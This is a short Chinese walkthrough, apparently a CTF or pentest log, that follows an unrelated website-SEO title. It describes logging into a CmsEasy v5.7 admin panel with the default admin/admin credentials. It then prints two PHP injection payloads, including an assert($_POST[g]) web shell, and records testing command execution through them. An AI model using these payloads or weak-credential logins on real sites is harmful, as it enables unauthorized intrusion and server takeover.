长沙网站优化方案怎么建自己的网站?
访问主页
到处点一点没啥发现
扫目录
访问/admin
账号密码都是admin admin(弱口令)
登录成功
看到左边列表有模板,心里大概有数了哈
进行一波历史漏洞的查
CmsEasy_v5.7 漏洞测试
payload1:
1111111111";}<?php phpinfo()?>
payload2:
11";}<?php assert($_POST[g]);?>
然而蚁剑连不上
在页面里post传g=phpinfo();可以执行
但g=system('xxx');却不能执行(没有disable_functions)
挺奇怪的,可能不是linux系统?